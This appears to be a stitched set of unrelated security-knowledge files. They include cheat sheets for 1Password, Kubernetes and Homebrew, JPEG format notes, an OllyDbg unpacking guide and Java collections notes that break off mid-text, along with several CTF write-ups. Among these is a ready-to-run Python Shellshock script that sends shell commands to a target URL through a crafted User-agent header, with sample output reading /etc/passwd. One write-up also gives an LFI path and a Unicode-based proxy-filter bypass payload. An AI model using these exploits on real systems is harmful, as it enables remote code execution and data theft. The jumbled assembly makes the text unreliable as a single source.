Plasma | `Trigger ` | Action | |--------------------------|--------------------------| | `Ctrl` `P ` | 1password --show | | `Ctrl` `Shift` `Space` | 1password --quick` `access | | `Ctrl` `Shift` `L ` | 1password --lock | | `Ctrl` `\` | 1password --fill | {.shortcuts} ### Quick Access | `Shortcut ` | Action | |------------------------------|-------------------------------------------------------------------------------------| | `Ctrl` `Shift` `Space` | Open or close Quick Access. | | `Esc ` | Clear the search field. | | `Ctrl` `1...9 ` | Switch accounts or collections. | | `Right Arrow ` | View all available actions. | | `Ctrl` `C ` | Copy username or primary field. | | `Ctrl` `Shift` `C ` | Copy password. | | `Ctrl` `Alt` `C ` | Copy one-time password. | | `Ctrl` `O ` | Open item details in new window. | | `Alt` `Enter ` | Open the website for the login in your browser and fill your username and password. | | `Ctrl` `Shift` `O ` | Open the item in the app. | {.shortcuts} Also see -------- - [Keyboard shortcuts for 1Password](https://support.1password.com/keyboard-shortcuts/) _(support.1password.com)_
sec-knowleage
# CRC In this task we were given 26 encrypted zip files. It is easy to notice though, that they have very small size - they uncompress to 5 byte files. That means we should be able to brute force the actual contents, and check their validity using crc, since ZIPs contain CRC32 of their uncompressed contents: ``` [adam@adam-Y510P ~/CTF/backdoor/zipcrc]λ unzip -lv 0.zip Archive: 0.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 5 Stored 5 0% 2015-11-26 19:49 a36bb2ae 0.txt -------- ------- --- ------- 5 5 0% 1 file ``` We listed all CRCs in `list`, and wrote a brute forcer - `check.cpp`. It looped over all printable 5-character strings and calculated its CRC, after which it checked whether it fits any zip. Unfortunately there were many collisions, so we wrote a quick visualizer showing possibilites for each zip (`parse.py`). Output: ``` [ p,id] [ func] [h&3o4] [func(] [) { e] [.ERM*] [H'9!R] [!LZW(] ["; fo] [ngxh4] [<?php] [<))ow] [tion ] [z:2b<] [5o'!q] [B6In] [The F] [M?wSl] [>t|g{] [r($i ] [PL]l4] [ESV$!] [^y#Hz] [Qp+Rx] [cho "] [lag: ] ['3!6] [p.;;4] [!ol:4] [$i < ] [/}g!0] [8IJE<] [echo ] [.EOE8] [)VPL7] [ (($i] [= 0; ] [8&|=4] [32; $] [Hu;@l] [y,4n4] [B6bA|] [E%}Hs] [<gt%}] [lBQW<] [TUQ9p] [bPZL8] [T:gAx] [^y>@h] [Yj!Ig] [qJIHu] [i++) ] [chr(0] [d{m!?] [udw(4] ['.)$] [x41 +] [ ^ 0x] [-}u!1] [ 0x19] [)); e] [.ERM*] [,RS>p] [ao:tz] [2JHW<] [*4DeR] [PbQ5(] [12) %] [<$0-] [5fg!q] [B6In] [@!~:4] [} fun] [Bv9Rl] [q<A\d] [`PHL9] [LCU5}] [xKZLy] [^y#Hz] [\n"; ] [^9eSx] [cho "] [anSx] [c(); ] ['3!6] [}02Rl] [gu:4] ``` We quickly noticed it should be a PHP code (`<?php` in the first block gives it away). Connecting the dots, we manually created the script: ``` function func() { echo "The Flag: "; for($i = 0; $i<32; $i++) echo chr(0x41 + (($i ^ 0x12) % 0x19)); echo "\n"; } func(); ``` After running it, we got the flag.
sec-knowleage
# JPG --- jpg 文件头 0xffd8ff 文件尾 0xffd9 --- JPG 的宽高在 FFC0 标志位后,第四五字节是高,第六七字节是宽 jpeg 没有透明度信息。 JPEG 文件大体上可以分成两个部分:标记码(Tag)和压缩数据。 **标记码** 标记码由两个字节构成,其前一个字节是固定值0xFF,后一个字节则根据不同意义有不同数值。在每个标记码之前还可以添加数目不限的无意义的0xFF填充,也就说连续的多个0xFF可以被理解为一个0xFF,并表示一个标记码的开始。而在一个完整的两字节的标记码后,就是该标记码对应的压缩数据流,记录了关于文件的诸种信息。常用的标记有: - SOI(0xFFD8) - APP0(0xFFE0) - [APPn(0xFFEn)]可选 - DQT(0xFFDB) - SOF0(0xFFC0)#含有宽度和高度 - ① 数据长度 2字节 ①~⑥六个字段的总长度即不包括标记代码,但包括本字段 - ② 精度 1字节 每个数据样本的位数,通常是8位,一般软件都不支持 12位和16位 - ③ 图像高度 2字节 图像高度(单位:像素),如果不支持 DNL 就必须 >0 - ④ 图像宽度 2字节 图像宽度(单位:像素),如果不支持 DNL 就必须 >0 - ⑤ 颜色分量数 1字节 只有3个数值可选. 1:灰度图;3:YCrCb或YIQ;4:CMYK。 而JFIF中使用YCrCb,故这里颜色分量数恒为3 - ⑥ 颜色分量信息 颜色分量数×3字节(通常为9字节) - DHT(0xFFC4) - SOS(0xFFDA) - 压缩数据 - EOI(0xFFD9) --- ## Source & Reference - [misc-stegaBasic](https://www.jianshu.com/p/fe7a5fff2a95)
sec-knowleage
--- title: Kubernetes date: 2023-01-09 10:26:55 background: bg-[#416cde] tags: - config - format categories: - Programming intro: | This page contains a list of commonly used kubectl commands and flags. plugins: - copyCode --- Viewing and finding resources {.cols-2} --- ### Nodes ```bash kubectl get no # Display all node information kubectl get no -o wide # Show more information about all nodes kubectl describe no # Display node details kubectl get no -o yaml # Display node details in yaml format kubectl get node --selector=[label_name] # Filter the node with the specified label kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type="ExternalIP")].address}' # Output the field information defined by the jsonpath expression kubectl top node [node_name] # Display node (CPU/memory/storage) usage ``` Resource name: nodes, abbreviation: no ### Pods ```bash kubectl get po # Display all container group information kubectl get po -o wide kubectl describe po kubectl get po --show-labels # View the labels of the container group kubectl get po -l app=nginx kubectl get po -o yaml kubectl get pod [pod_name] -o yaml --export kubectl get pod [pod_name] -o yaml --export > nameoffile.yaml # Export container group information to yaml file in yaml format kubectl get pods --field-selector status.phase=Running # Use the field selector to filter out container group information ``` Resource name: pods, abbreviation: po ### Namespaces ```bash kubectl get ns kubectl get ns -o yaml kubectl describe ns ``` Resource name: namespaces, abbreviation: ns ### Deployments ```bash kubectl get deploy kubectl describe deploy kubectl get deploy -o wide kubectl get deploy -o yaml ``` Resource name: deployments, abbreviation: deploy ### Services ```bash kubectl get svc kubectl describe svc kubectl get svc -o wide kubectl get svc -o yaml kubectl get svc --show-labels ``` Resource name: services, abbreviation: svc ### Daemon Sets ```bash kubectl get ds kubectl describe ds --all-namespaces kubectl describe ds [daemonset_name] -n [namespace_name] kubectl get ds [ds_name] -n [ns_name] -o yaml ``` Resource name: daemonsets, abbreviation: ds ### Events ```bash kubectl get events kubectl get events -n kube-system kubectl get events -w ``` Resource name: events, abbreviation: ev ### Logs ```bash kubectl logs [pod_name] kubectl logs --since=1h [pod_name] kubectl logs --tail=20 [pod_name] kubectl logs -f -c [container_name] [pod_name] kubectl logs [pod_name] > pod.log ``` ### Service Accounts ```bash kubectl get sa kubectl get sa -o yaml kubectl get serviceaccounts default -o yaml >./sa.yaml kubectl replace serviceaccount default -f ./sa.yaml ``` Resource name: serviceaccounts, abbreviation: ev ### Replica Sets ```bash kubectl get rs kubectl describe rs kubectl get rs -o wide kubectl get rs -o yaml ``` Resource name: replicasets, abbreviation: rs ### Roles ```bash kubectl get roles --all-namespaces kubectl get roles --all-namespaces -o yaml ``` ### Secrets ```bash kubectl get secrets kubectl get secrets --all-namespaces kubectl get secrets -o yaml ``` ### Config maps Resource name: configmaps, abbreviation: cm ```bash kubectl get cm kubectl get cm --all-namespaces kubectl get cm --all-namespaces -o yaml ``` ### Ingresses Resource name: ingresses, abbreviation: ing ```bash kubectl get ing kubectl get ing --all-namespaces ``` ### Persistent Volumes Resource name: persistentvolumes, abbreviation: pv ```bash kubectl get pv kubectl describe pv ``` ### Persistent volume declaration Resource name: persistentvolumeclaims, abbreviation: pvc ```bash kubectl get pvc kubectl describe pvc ``` ### storage class Resource name: storageclasses, Abbreviation: sc ```bash kubectl get sc kubectl get sc -o yaml ``` ### Multiple resources ```bash kubectl get svc, po kubectl get deploy, no kubectl get all kubectl get all --all-namespaces ``` Updating resources --- ### Taint ```bash kubectl taint [node_name] [taint_name] ``` ### Label ```bash kubectl label [node_name] disktype=ssd kubectl label [pod_name] env=prod ``` ### Maintain/Schedulable ```bash kubectl cordon [node_name] # node maintenance kubectl uncordon [node_name] # node is schedulable ``` ### clear ```bash kubectl drain [node_name] # empty the node ``` ### Node/Pod {.row-span-2} ```bash kubectl delete node [node_name] kubectl delete pod [pod_name] kubectl edit node [node_name] kubectl edit pod [pod_name] ``` ### Stateless/Namespaced {.row-span-2} ```bash kubectl edit deploy [deploy_name] kubectl delete deploy [deploy_name] kubectl expose deploy [deploy_name] --port=80 --type=NodePort kubectl scale deploy [deploy_name] --replicas=5 kubectl delete ns kubectl edit ns [ns_name] ``` ### Service ```bash kubectl edit svc [svc_name] kubectl delete svc [svc_name] ``` ### Daemon set ```bash kubectl edit ds [ds_name] -n kube-system kubectl delete ds [ds_name] ``` ### Service account ```bash kubectl edit sa [sa_name] kubectl delete sa [sa_name] ``` ### Notes ```bash kubectl annotate po [pod_name] [annotation] kubectl annotateno [node_name] ``` Create resources --- ### Create pod ```bash kubectl create -f [name_of_file] kubectl apply -f [name_of_file] kubectl run [pod_name] --image=nginx --restart=Never kubectl run [pod_name] --generator=run-pod/v1 --image=nginx kubectl run [pod_name] --image=nginx --restart=Never ``` ### Create Service ```bash kubectl create svc nodeport [svc_name] --tcp=8080:80 ``` ### Create a stateless application ```bash kubectl create -f [name_of_file] kubectl apply -f [name_of_file] kubectl create deploy [deploy_name] --image=nginx ``` ### interaction ```bash kubectl run [pod_name] --image=busybox --rm -it --restart=Never --sh ``` ### Output YAML ```bash kubectl create deploy [deploy_name] --image=nginx --dry-run -o yaml > deploy.yaml kubectl get po [pod_name] -o yaml --export > pod.yaml ``` ### Help ```bash kubectl -h kubectl create -h kubectl run -h kubectl explain deploy.spec ``` Miscellaneous --- ### APIs ```bash kubectl get --raw /apis/metrics.k8s.io/ ``` ### Information ```bash kubectl config kubectl cluster-info kubectl get componentstatus ``` Also See --- - [Kubernetes Official Documentation](https://kubernetes.io/zh-cn/docs/reference/kubectl/) _(kubernetes.io)_
sec-knowleage
#!/usr/bin/python # Successful Output: # # python shell_shocker.py <VulnURL> # [+] Attempting Shell_Shock - Make sure to type full path # ~$ /bin/ls / # bin # boot # dev # etc # .. # ~$ /bin/cat /etc/passwd from __future__ import print_function from future import standard_library standard_library.install_aliases() from builtins import input import sys, urllib.request, urllib.error, urllib.parse if len(sys.argv) != 2: print("Usage: shell_shocker <URL>") sys.exit(0) URL=sys.argv[1] print("[+] Attempting Shell_Shock - Make sure to type full path") while True: command=input("~$ ") opener=urllib.request.build_opener() opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)] try: response=opener.open(URL) for line in response.readlines(): print(line.strip()) except Exception as e: print(e)
sec-knowleage
--- title: Homebrew date: 2023-04-12 background: bg-[#fbb041] tags: - packages manager - macos categories: - Toolkit intro: This is a quick reference cheat sheet to getting started with homebrew. plugins: - copyCode --- ## Getting Started ### Install If not installed, instll Command Line Tools (CTL) ``` xcode-select --install ``` Install Homebrew : ``` /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` ### Commands | | | |----------------------------------|----------------------------------------| | ``` brew install git ``` | Install a package | | ``` brew uninstall git ``` | Uninstall a package | | ``` brew upgrade git ``` | Upgrade package | | ``` brew unlink git ``` | Unlink | | ``` brew link git ``` | Link | | ``` brew switch git 1.0.0 ``` | Switch package version | | ``` brew list --versions git ``` | List the installed versions of package | ### Help Display the version of Homebrew. ```` brew --version ```` Print Help Information ```` brew help ```` Print Help Info for a brew command ```` brew help <sub-command> ```` Check system for potential problems. ```` brew doctor ```` ### Updates Fetch latest version of homebrew and formula ``` brew update ``` Show formulae with an updated version available ``` brew outdated ``` Upgrade all outdated and unpinned brews ``` brew upgrade ``` Upgrade only the specified brew ``` brew upgrade <formula> ``` Prevent the specified formulae from being upgraded ``` brew pin <formula> ``` Allow the specified formulae to be upgraded. ``` brew unpin <formula> ``` ### Repositories List all the current tapped repositories (taps) ``` brew tap ``` Tap a formula repository from Github using https for tap https://github.com/user/homebrew-repo ``` brew tap <user/repo> ``` Tap a formula repository from the specified URL ``` brew tap <user/repo> <URL> ``` Remove the given tap from the repository ``` brew untap <user/repo> ``` ### Cask Tap the Cask repository from Github. ``` brew tap homebrew/cask ``` List all the installed casks . ``` brew cask list ``` Search all known casks based on the substring text. ``` brew search <text> ``` Install the given cask. ``` brew cask install <cask> ``` Reinstalls the given Cask ``` brew cask reinstall <cask> ``` Uninstall the given cask. ``` brew cask uninstall <cask> ``` ### Search, Install, Remove List all the installed formulae. ``` brew list ``` Display all locally available formulae for brewing. ``` brew search ``` Perform a substring search of formulae names for brewing. ``` brew search <text> ``` Display information about the formula. ``` brew info <formula> ``` Install the formula. ``` brew install <formula> ``` Uninstall the formula. ``` brew uninstall <formula> ``` ### Cleanup Remove older versions of installed formulae. ``` brew cleanup ``` Remove older versions of specified formula. ``` brew cleanup <formula> ``` Display all formula that will be removed (dry run) ``` brew cleanup -n ```
sec-knowleage
# API We are given URL of some service that allegedly provides `Secure API`. The site was plain, nothing was interactive, there were no links that could point us to any endpoint worth exploring. After a lot of poking, changing random things in burp we found a way to trigger LFI with `GET file:///../../../../etc/passwd`. This gave us possibility to leak every piece of the source code. Application turned out to be simple HTTP server written in NodeJS. There were two interesting functions: ```js getProxy: function(request, response) { this.getRequestFields(request, global.config, function(fields) { if(!fields || !fields.url) { response.end('Invalid fields.'); } if(fields.url.indexOf('get_secret') !== -1 || fields.url.indexOf('/') !== -1) { response.end("Invalid request"); return; } fields.url = Buffer.from(fields.url.toLowerCase(), "latin1").toString(); var options = { host: global.config.PROXY, port: 2222, path: fields.url }; http.get(options, function(rresponse) { var body = ''; rresponse.on('data', function(chunk) { body += chunk; }); rresponse.on('end', function() { response.end(body); }); }).on('error', function(e) { response.end("Got error: " + e.message); }); }); }, getConfigFromVault: function(req, res) { var options = { host: global.config.PROXY, port: 2222, path: '/get_secret/' + global.secretkey }; http.get(options, function(response) { var body = ''; response.on('data', function(chunk) { body += chunk; }); response.on('end', function() { res.end(body); }); }).on('error', function(e) { res.end("Got error: " + e.message); }); } ``` Available under following routes: ```js if(urlParts[0]) { switch(urlParts[0]) { case 'getconfig': functions.getConfigFromVault(request, response); break; case 'proxy': functions.getProxy(request, response); break; default: new doRequest(request, response); break; } } else { new doRequest(request, response); } ``` After triggering `getConfigFromVault` we got a JSON message about incorrect token with flag set to null. This is the endpoint we need to hit but with correct token (correct token can be found inside env vars and leaked with LFI of /proc/self/environ). This would be easy to do if we could provide the `getConfigFromVault` endpoint our own token, which is not the case. Another way to make this request to the proxy is through the `getProxy` function. We would like to send request like `GET /proxy?url=/get_secret/f0af17449a83681de22db7ce16672f16f37131bec0022371d4ace5d1854301e0`. Which should give us the flag. Application defends itself from that with `if(fields.url.indexOf('get_secret') !== -1 || fields.url.indexOf('/') !== -1) {`. But fortunately both of the checks can be bypassed. For the first one we just change `get_secret` to `get_sEcret`. Second one is a bit harder, we need to send something that is not a `/` but will become one after `fields.url = Buffer.from(fields.url.toLowerCase(), "latin1").toString();`. It turns out that for example 琯 is converted to `/` by the line above, this results in a final payload: `https://api.dctfq19.def.camp:1234/proxy?url=琯get_sEcret琯f0af17449a83681de22db7ce16672f16f37131bec0022371d4ace5d1854301e0`.
sec-knowleage
# Phonic Frenzy 1, Misc, 100pts > Your car has a brand new infotainment center. In order to activate the system you have to register the serial number on the company's website. The only problem is, it's not trivial to find the dang thing. When we flashed given binary to the device, it wrote some story-related, but otherwise useless, text to the console. It turns out there were some electric changes happening on some of the pins. In particular, two of those seemed to be of analog nature (not just switching between two values). Connecting these pins to a speaker gave us low quality sound of human speech, eventually saying the serial number we were after. Due to the low quality of the sounds, we could not understand some of the letters (`e`, `d` and `b` were almost indistinguishable to us). Instead, we recorded the sound and used Audacity to visually find the differences between the letters.
sec-knowleage
### 内存镜像法概述 内存镜像法是在加壳程序被加载时, 通过OD的`ALT+M`快捷键, 进入到程序虚拟内存区段. 然后通过加两次内存一次性断点, 到达程序正确OEP的位置. 内存镜像法的原理在于对于程序资源段和代码段下断点, 一般程序自解压或者自解密时, 会首先访问资源段获取所需资源, 然后在自动脱壳完成后, 转回程序代码段. 这时候下内存一次性断点, 程序就会停在OEP处. ### 内存镜像法要点 1. 选择菜单的`选项->调试选项->异常` 2. 勾选所有的忽略异常 3. 按下`ALT+M`, 打开内存镜像, 找到程序的第一个`.rsrc`, 按F2下断点, 然后按`SHIFT+F9`运行到断点 4. 再按`ALT+M`, 打开内存镜像, 找到程序的第一个`.rsrc`上面的`.text`(在示例中是`00401000`处), 按F2下断点. 然后按`SHIFT+F9`(或者是在没异常情况下按F9) ### 内存镜像法示例 示例程序可以点击此处下载: [4_memory.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/4_memory.zip) OD载入程序, 在菜单栏的`选项->调试设置->异常标签页`中勾选所有的忽略异常 按下`Alt+M`打开内存镜像, 找到资源段, 也就是`地址=00407000`, `大小=00005000`的`.rsrc`段, 选中F2下断 回到CPU窗口, 按下F9运行, 程序断在了`0040D75F`处 再次按下`Alt+M`打开内存镜像, 对`.text`代码段下断 再继续运行, 程序断在了`004010CC`处, 也就是OEP
sec-knowleage
# Java 容器 <!-- GFM-TOC --> * [Java 容器](#java-容器) * [一、概览](#一概览) * [Collection](#collection) * [Map](#map) * [二、容器中的设计模式](#二容器中的设计模式) * [迭代器模式](#迭代器模式) * [适配器模式](#适配器模式) * [三、源码分析](#三源码分析) * [ArrayList](#arraylist) * [Vector](#vector) * [CopyOnWriteArrayList](#copyonwritearraylist) * [LinkedList](#linkedlist) * [HashMap](#hashmap) * [ConcurrentHashMap](#concurrenthashmap) * [LinkedHashMap](#linkedhashmap) * [WeakHashMap](#weakhashmap) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一、概览 容器主要包括 Collection 和 Map 两种,Collection 存储着对象的集合,而 Map 存储着键值对(两个对象)的映射表。 ### Collection <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208220948084.png"/> </div><br> #### 1. Set - TreeSet:基于红黑树实现,支持有序性操作,例如根据一个范围查找元素的操作。但是查找效率不如 HashSet,HashSet 查找的时间复杂度为 O(1),TreeSet 则为 O(logN)。 - HashSet:基于哈希表实现,支持快速查找,但不支持有序性操作。并且失去了元素的插入顺序信息,也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。 - LinkedHashSet:具有 HashSet 的查找效率,并且内部使用双向链表维护元素的插入顺序。 #### 2. List - ArrayList:基于动态数组实现,支持随机访问。 - Vector:和 ArrayList 类似,但它是线程安全的。 - LinkedList:基于双向链表实现,只能顺序访问,但是可以快速地在链表中间插入和删除元素。不仅如此,LinkedList 还可以用作栈、队列和双向队列。 #### 3. Queue - LinkedList:可以用它来实现双向队列。 - PriorityQueue:基于堆结构实现,可以用它来实现优先队列。 ### Map <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20201101234335837.png"/> </div><br> - TreeMap:基于红黑树实现。 - HashMap:基于哈希表实现。 - HashTable:和 HashMap 类似,但它是线程安全的,这意味着同一时刻多个线程同时写入 HashTable 不会导致数据不一致。它是遗留类,不应该去使用它,而是使用 ConcurrentHashMap 来支持线程安全,ConcurrentHashMap 的效率会更高,因为 ConcurrentHashMap 引入了分段锁。 - LinkedHashMap:使用双向链表来维护元素的顺序,顺序为插入顺序或者最近最少使用(LRU)顺序。 ## 二、容器中的设计模式 ### 迭代器模式 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208225301973.png"/> </div><br> Collection 继承了 Iterable 接口,其中的 iterator() 方法能够产生一个 Iterator 对象,通过这个对象就可以迭代遍历 Collection 中的元素。 从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象。 ```java List<String> list = new ArrayList<>(); list.add("a"); list.add("b"); for (String item : list) { System.out.println(item); } ``` ### 适配器模式 java.util.Arrays#asList() 可以把数组类型转换为 List 类型。 ```java @SafeVarargs public static <T> List<T> asList(T... a) ``` 应该注意的是 asList() 的参数为泛型的变长参数,不能使用基本类型数组作为参数,只能使用相应的包装类型数组。 ```java Integer[] arr = {1, 2, 3}; List list = Arrays.asList(arr); ``` 也可以使用以下方式调用 asList(): ```java List list = Arrays.asList(1, 2, 3); ``` ## 三、源码分析 如果没有特别说明,以下源码分析基于 JDK 1.8。 在 IDEA 中 double shift 调出 Search EveryWhere,查找源码文件,找到之后就可以阅读源码。 ### ArrayList #### 1. 概览 因为 ArrayList 是基于数组实现的,所以支持快速随机访问。RandomAccess 接口标识着该类支持快速随机访问。 ```java public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess, Cloneable, java.io.Serializable ``` 数组的默认大小为 10。 ```java private static final int DEFAULT_CAPACITY = 10; ``` <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208232221265.png"/> </div><br> #### 2. 扩容 添加元素时使用 ensureCapacityInternal() 方法来保证容量足够,如果不够时,需要使用 grow() 方法进行扩容,新容量的大小为 `oldCapacity + (oldCapacity >> 1)`,即 oldCapacity+oldCapacity/2。其中 oldCapacity >> 1 需要取整,所以新容量大约是旧容量的 1.5 倍左右。(oldCapacity 为偶数就是 1.5 倍,为奇数就是 1.5 倍-0.5) 扩容操作需要调用 `Arrays.copyOf()` 把原数组整个复制到新数组中,这个操作代价很高,因此最好在创建 ArrayList 对象时就指定大概的容量大小,减少扩容操作的次数。 ```java public boolean add(E e) { ensureCapacityInternal(size + 1); // Increments modCount!! elementData[size++] = e; return true; } private void ensureCapacityInternal(int minCapacity) { if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) { minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity); } ensureExplicitCapacity(minCapacity); } private void ensureExplicitCapacity(int minCapacity) { modCount++; // overflow-conscious code if (minCapacity - elementData.length > 0) grow(minCapacity); } private void grow(int minCapacity) { // overflow-conscious code int oldCapacity = elementData.length; int newCapacity = oldCapacity + (oldCapacity >> 1); if (newCapacity - minCapacity < 0) newCapacity = minCapacity; if (newCapacity - MAX_ARRAY_SIZE > 0) newCapacity = hugeCapacity(minCapacity); // minCapacity is usually close to size, so this is a win: elementData = Arrays.copyOf(elementData, newCapacity); } ``` #### 3. 删除元素 需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上,该操作的时间复杂度为 O(N),可以看到 ArrayList 删除元素的代价是非常高的。 ```java public E remove(int index) { rangeCheck(index); modCount++; E oldValue = elementData(index); int numMoved = size - index - 1; if (numMoved > 0) System.arraycopy(elementData, index+1, elementData, index, numMoved); elementData[--size] = null; // clear to let GC do its work return oldValue; } ``` #### 4. 序列化 ArrayList 基于数组实现,并且具有动态扩容特性,因此保存元素的数组不一定都会被使用,那么就没必要全部进行序列化。 保存元素的数组 elementData 使用 transient 修饰,该关键字声明数组默认不会被序列化。 ```java transient Object[] elementData; // non-private to simplify nested class access ``` ArrayList 实现了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。 ```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { elementData = EMPTY_ELEMENTDATA; // Read in size, and any hidden stuff s.defaultReadObject(); // Read in capacity s.readInt(); // ignored if (size > 0) { // be like clone(), allocate array based upon size not capacity ensureCapacityInternal(size); Object[] a = elementData; // Read in all elements in the proper order. for (int i=0; i<size; i++) { a[i] = s.readObject(); } } } ``` ```java private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{ // Write out element count, and any hidden stuff int expectedModCount = modCount; s.defaultWriteObject(); // Write out size as capacity for behavioural compatibility with clone() s.writeInt(size); // Write out all elements in the proper order. for (int i=0; i<size; i++) { s.writeObject(elementData[i]); } if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } } ``` 序列化时需要使用 ObjectOutputStream 的 writeObject() 将对象转换为字节流并输出。而 writeObject() 方法在传入的对象存在 writeObject() 的时候会去反射调用该对象的 writeObject() 来实现序列化。反序列化使用的是 ObjectInputStream 的 readObject() 方法,原理类似。 ```java ArrayList list = new ArrayList(); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(list); ``` #### 5. Fail-Fast modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作,或者是调整内部数组的大小,仅仅只是设置元素的值不算结构发生变化。 在进行序列化或者迭代等操作时,需要比较操作前后 modCount 是否改变,如果改变了需要抛出 ConcurrentModificationException。代码参考上节序列化中的 writeObject() 方法。 ### Vector #### 1. 同步 它的实现与 ArrayList 类似,但是使用了 synchronized 进行同步。 ```java public synchronized boolean add(E e) { modCount++; ensureCapacityHelper(elementCount + 1); elementData[elementCount++] = e; return true; } public synchronized E get(int index) { if (index >= elementCount) throw new ArrayIndexOutOfBoundsException(index); return elementData(index); } ``` #### 2. 扩容 Vector 的构造函数可以传入 capacityIncrement 参数,它的作用是在扩容时使容量 capacity 增长 capacityIncrement。如果这个参数的值小于等于 0,扩容时每次都令 capacity 为原来的两倍。 ```java public Vector(int initialCapacity, int capacityIncrement) { super(); if (initialCapacity < 0) throw new IllegalArgumentException("Illegal Capacity: "+ initialCapacity); this.elementData = new Object[initialCapacity]; this.capacityIncrement = capacityIncrement; } ``` ```java private void grow(int minCapacity) { // overflow-conscious code int oldCapacity = elementData.length; int newCapacity = oldCapacity + ((capacityIncrement > 0) ? capacityIncrement : oldCapacity); if (newCapacity - minCapacity < 0) newCapacity = minCapacity; if (newCapacity - MAX_ARRAY_SIZE > 0) newCapacity = hugeCapacity(minCapacity); elementData = Arrays.copyOf(elementData, newCapacity); } ``` 调用没有 capacityIncrement 的构造函数时,capacityIncrement 值被设置为 0,也就是说默认情况下 Vector 每次扩容时容量都会翻倍。 ```java public Vector(int initialCapacity) { this(initialCapacity, 0); } public Vector() { this(10); } ``` #### 3. 与 ArrayList 的比较 - Vector 是同步的,因此开销就比 ArrayList 要大,访问速度更慢。最好使用 ArrayList 而不是 Vector,因为同步操作完全可以由程序员自己来控制; - Vector 每次扩容请求其大小的 2 倍(也可以通过构造函数设置增长的容量),而 ArrayList 是 1.5 倍。 #### 4. 替代方案 可以使用 `Collections.synchronizedList();` 得到一个线程安全的 ArrayList。 ```java List<String> list = new ArrayList<>(); List<String> synList = Collections.synchronizedList(list); ``` 也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类。 ```java List<String> list = new CopyOnWriteArrayList<>(); ``` ### CopyOnWriteArrayList #### 1. 读写分离 写操作在一个复制的数组上进行,读操作还是在原始数组中进行,读写分离,互不影响。 写操作需要加锁,防止并发写入时导致写入数据丢失。 写操作结束之后需要把原始数组指向新的复制数组。 ```java public boolean add(E e) { final ReentrantLock lock = this.lock; lock.lock(); try { Object[] elements = getArray(); int len = elements.length; Object[] newElements = Arrays.copyOf(elements, len + 1); newElements[len] = e; setArray(newElements); return true; } finally { lock.unlock(); } } final void setArray(Object[] a) { array = a; } ``` ```java @SuppressWarnings("unchecked") private E get(Object[] a, int index) { return (E) a[index]; } ``` #### 2. 适用场景 CopyOnWriteArrayList 在写操作的同时允许读操作,大大提高了读操作的性能,因此很适合读多写少的应用场景。 但是 CopyOnWriteArrayList 有其缺陷: - 内存占用:在写操作时需要复制一个新的数组,使得内存占用为原来的两倍左右; - 数据不一致:读操作不能读取实时性的数据,因为部分写操作的数据还未同步到读数组中。 所以 CopyOnWriteArrayList 不适合内存敏感以及对实时性要求很高的场景。 ### LinkedList #### 1. 概览 基于双向链表实现,使用 Node 存储链表节点信息。 ```java private static class Node<E> { E item; Node<E> next; Node<E> prev; } ``` 每个链表存储了 first 和 last 指针: ```java transient Node<E> first; transient Node<E> last; ``` <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208233940066.png"/> </div><br> #### 2. 与 ArrayList 的比较 ArrayList 基于动态数组实现,LinkedList 基于双向链表实现。ArrayList 和 LinkedList 的区别可以归结为数组和链表的区别: - 数组支持随机访问,但插入删除的代价很高,需要移动大量元素; - 链表不支持随机访问,但插入删除只需要改变指针。 ### HashMap 为了便于理解,以下源码分析以 JDK 1.7 为主。 #### 1. 存储结构 内部包含了一个 Entry 类型的数组 table。Entry 存储着键值对。它包含了四个字段,从 next 字段我们可以看出 Entry 是一个链表。即数组中的每个位置被当成一个桶,一个桶存放一个链表。HashMap 使用拉链法来解决冲突,同一个链表中存放哈希值和散列桶取模运算结果相同的 Entry。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208234948205.png"/> </div><br> ```java transient Entry[] table; ``` ```java static class Entry<K,V> implements Map.Entry<K,V> { final K key; V value; Entry<K,V> next; int hash; Entry(int h, K k, V v, Entry<K,V> n) { value = v; next = n; key = k; hash = h; } public final K getKey() { return key; } public final V getValue() { return value; } public final V setValue(V newValue) { V oldValue = value; value = newValue; return oldValue; } public final boolean equals(Object o) { if (!(o instanceof Map.Entry)) return false; Map.Entry e = (Map.Entry)o; Object k1 = getKey(); Object k2 = e.getKey(); if (k1 == k2 || (k1 != null && k1.equals(k2))) { Object v1 = getValue(); Object v2 = e.getValue(); if (v1 == v2 || (v1 != null && v1.equals(v2))) return true; } return false; } public final int hashCode() { return Objects.hashCode(getKey()) ^ Objects.hashCode(getValue()); } public final String toString() { return getKey() + "=" + getValue(); } } ``` #### 2. 拉链法的工作原理 ```java HashMap<String, String> map = new HashMap<>(); map.put("K1", "V1"); map.put("K2", "V2"); map.put("K3", "V3"); ``` - 新建一个 HashMap,默认大小为 16; - 插入 &lt;K1,V1\> 键值对,先计算 K1 的 hashCode 为 115,使用除留余数法得到所在的桶下标 115%16=3。 - 插入 &lt;K2,V2\> 